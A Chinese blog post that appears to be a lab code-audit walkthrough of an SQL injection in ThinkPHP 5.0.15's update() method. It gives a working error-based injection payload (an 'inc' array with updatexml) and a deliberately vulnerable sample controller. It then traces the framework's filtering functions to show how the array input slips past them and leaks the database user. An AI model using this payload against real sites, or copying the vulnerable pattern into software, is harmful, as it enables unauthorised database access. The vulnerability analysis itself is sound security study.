热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

12PHP代码审计——ThinkPHP5.0.15update注入分析

环境:thinkphp_5.0.15_fullpoc:level[0]inc&level[1]updatexml(1,concat(0x7,user()

环境:


thinkphp_5.0.15_full


poc:


level[0]=inc&level[1]=updatexml(1,concat(0x7,user(),0x7e),1)&level[2]=1


 

下载ThinkPHP5.0.15解压到www.tptest.com目录下,并在phpstudy中将域名站点的网站目录改为ThinkPHP5.0.15的public目录。

在application目录的config.php文件中开启跟踪调试模式,如下所示:

// 应用调试模式
'app_debug' => true,
// 应用Trace
'app_trace' => true,

 

然后在application目录的database.php文件中配置数据库

// 数据库类型
'type' => 'mysql',
// 服务器地址
'hostname' => '127.0.0.1',
// 数据库名
'database' => 'thinkphp32',
// 用户名
'username' => 'root',
// 密码
'password' => '123456',
// 端口
'hostport' => '3306',

 

如果出现以下画面说明配置正常

 

update注入示例程序:

class Index
{public function index(){///a表示以数组接收level$level = input("level/a");$data = db("users")->where("id" , 1)->update(["level"=>$level]);dump($data);}
}

thinkphp提供了input函数来接收数据,那么问题是input函数是如何接收提交的参数?

 

访问网址提交poc:

网页返回了错误信息,直接把数据库的用户信息爆出来了。

 

在input函数中,内部有两个函数比较重要:filterValue和typeCast

public function input($data = [], $name = '', $default = null, $filter = ''){if (false === $name) {// 获取原始数据return $data;}$name = (string) $name;if ('' != $name) {// 解析name,提取数据if (strpos($name, '/')) {list($name, $type) = explode('/', $name);} else {$type = 's';}// 按.拆分成多维数组进行判断foreach (explode('.', $name) as $val) {if (isset($data[$val])) {$data = $data[$val];} else {// 无输入数据,返回默认值return $default;}}if (is_object($data)) {return $data;}}//后面的操作都是对数据过滤,强转// 解析过滤器if (is_null($filter)) {$filter = [];} else {$filter = $filter ?: $this->filter;if (is_string($filter)) {$filter = explode(',', $filter);} else {$filter = (array) $filter;}}$filter[] = $default;if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);reset($data);} else {//提取数据并过滤$this->filterValue($data, $name, $filter);}if (isset($type) && $data !== $default) {// 强制数据类型转换$this->typeCast($data, $type);}return $data;
}

 

filterValue函数内部实际是使用了filterExp函数过滤特殊关键字,如下所示:

public function filterExp(&$value){// 过滤查询特殊字符if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {$value .= ' ';}
}

如果提交的数据中出现了以上这些关键字的话,都会被过滤掉

 

 

typeCast函数内部会会对数据进行数据类型转换,支持以下数据类型转换

private function typeCast(&$data, $type){switch (strtolower($type)) {// 数组case 'a':$data = (array) $data;break;// 数字case 'd':$data = (int) $data;break;// 浮点case 'f':$data = (float) $data;break;// 布尔case 'b':$data = (boolean) $data;break;// 字符串case 's':default:if (is_scalar($data)) {$data = (string) $data;} else {throw new \InvalidArgumentException('variable type error:' . gettype($data));}}}

 

thinkphp5.0.15操作数据库操作流程:

db() --> where() --> update()

 

db()函数主要是实例化数据库的一些初始化操作,where函数内部是一些赋值操作,我们重点从update函数开始分析:

public function update(array $data = []){//提取数据进行赋值$optiOns= $this->parseExpress();$data = array_merge($options['data'], $data);$pk = $this->getPk($options);if (isset($options['cache']) && is_string($options['cache']['key'])) {$key = $options['cache']['key'];}if (empty($options['where'])) {// 如果存在主键数据 则自动作为更新条件if (is_string($pk) && isset($data[$pk])) {$where[$pk] = $data[$pk];if (!isset($key)) {$key = 'think:' . $options['table'] . '|' . $data[$pk];}unset($data[$pk]);} elseif (is_array($pk)) {// 增加复合主键支持foreach ($pk as $field) {if (isset($data[$field])) {$where[$field] = $data[$field];} else {// 如果缺少复合主键数据则不执行throw new Exception('miss complex primary data');}unset($data[$field]);}}if (!isset($where)) {// 如果没有任何更新条件则不执行throw new Exception('miss update condition');} else {$options['where']['AND'] = $where;}} elseif (!isset($key) && is_string($pk) && isset($options['where']['AND'][$pk])) {$key = $this->getCacheKey($options['where']['AND'][$pk], $options, $this->bind);}// 生成UPDATE SQL语句,这里又调用了一次update函数$sql = $this->builder->update($data, $options);// 获取参数绑定$bind = $this->getBind();if ($options['fetch_sql']) {// 获取实际执行的SQL语句return $this->connection->getRealSql($sql, $bind);} else {// 检测缓存if (isset($key) && Cache::get($key)) {// 删除缓存Cache::rm($key);} elseif (!empty($options['cache']['tag'])) {Cache::clear($options['cache']['tag']);}// 执行操作$result = '' == $sql ? 0 : $this->execute($sql, $bind);if ($result) {if (is_string($pk) && isset($where[$pk])) {$data[$pk] = $where[$pk];} elseif (is_string($pk) && isset($key) && strpos($key, '|')) {list($a, $val) = explode('|', $key);$data[$pk] = $val;}$options['data'] = $data;$this->trigger('after_update', $options);}return $result;}
}

update函数内部又调用了一个update函数

 

update函数中接收的数组data是一个数组level,其实就是之前我们提交的poc,写成数组的目的是为了绕过后面的过滤。

 

 

在这个update函数中有几个函数比较关键

public function update($data, $options){//提取数据$table = $this->parseTable($options['table'], $options);//解析data,这里的data是level数组$data = $this->parseData($data, $options);if (empty($data)) {return '';}foreach ($data as $key => $val) {$set[] = $key . '=' . $val;}//过滤的核心函数$sql = str_replace(['%TABLE%', '%SET%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'],[$this->parseTable($options['table'], $options),implode(',', $set),$this->parseJoin($options['join'], $options),$this->parseWhere($options['where'], $options),$this->parseOrder($options['order'], $options),$this->parseLimit($options['limit']),$this->parseLock($options['lock']),$this->parseComment($options['comment']),], $this->updateSql);return $sql;
}

parseTable函数会把表拿出来赋值,parseData函数会对level的内容进行解析,这里我们要重点分析parseData函数对level数组做了哪些处理。

 

分析parseData函数:

protected function parseData($data, $options){if (empty($data)) {return [];}// 获取绑定信息$bind = $this->query->getFieldsBind($options['table']);if ('*' == $options['field']) {$fields = array_keys($bind);} else {$fields = $options['field'];}$result = [];//取出level数组中的数据,分别放入key和valforeach ($data as $key => $val) {//解析key$item = $this->parseKey($key, $options);if (is_object($val) && method_exists($val, '__toString')) {// 对象数据写入$val = $val->__toString();}if (false === strpos($key, '.') && !in_array($key, $fields, true)) {if ($options['strict']) {throw new Exception('fields not exists:[' . $key . ']');}} elseif (is_null($val)) {$result[$item] = 'NULL';//val是否为数组} elseif (is_array($val) && !empty($val)) {switch ($val[0]) {case 'exp':$result[$item] = $val[1];break;case 'inc':$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);break;case 'dec':$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);break;}} elseif (is_scalar($val)) {// 过滤非标量数据if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {$result[$item] = $val;} else {$key = str_replace('.', '_', $key);$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);$result[$item] = ':data__' . $key;}}}return $result;
}

parseData函数将data数组中的内容取出来放入val中然后过滤,此时的val仍然是一个数组。

 

val当满足条件后,会取出val的第一个元素进行匹配,如果匹配到inc就会执行图中这行代码,parseKey函数解析了val[1]和val[2]

这行代码执行时会把val[1]和val[2]的内容拼接起来,$result[$item]中拼接成的内容是这样的updatexml(1,concat(0x7,user(),0x7e),1)+1。

因为parseKey函数虽然对key的内容做了过滤,但这里只过滤了特殊字符然后将key返回,所以这里key的内容仍然还是:updatexml(1,concat(0x7,user(),0x7e),1),之前的poc用数组的方式提交目的是为了在这里绕过过滤。

 

 

继续跟进parseKey函数如何解析val的内容

protected function parseKey($key, $optiOns= []){$key = trim($key);//这个if没有过滤if (strpos($key, '$.') && false === strpos($key, '(')) {// JSON字段支持list($field, $name) = explode('$.', $key);$key = 'json_extract(' . $field . ', \'$.' . $name . '\')';} elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {list($table, $key) = explode('.', $key, 2);if ('__TABLE__' == $table) {$table = $this->query->getTable();}if (isset($options['alias'][$table])) {$table = $options['alias'][$table];}}//过滤特殊字符if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {$key = '`' . $key . '`';}if (isset($table)) {if (strpos($table, '.')) {$table = str_replace('.', '`.`', $table);}$key = '`' . $table . '`.' . $key;}return $key;
}

接下来还调用了核心过滤函数str_replace,但是str_replace函数内部没有对$result[$item]的内容进行过滤,它只过滤了where子单元的内容,这样sql语句就绕过了后台的过滤。

 

update函数中返回的sql语句是这样的:

execute函数在执行该sql语句会报错,同时还会爆出数据库的用户信息。

到此,漏洞分析结束。

 


推荐阅读
author-avatar
平凡的如果爱166
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有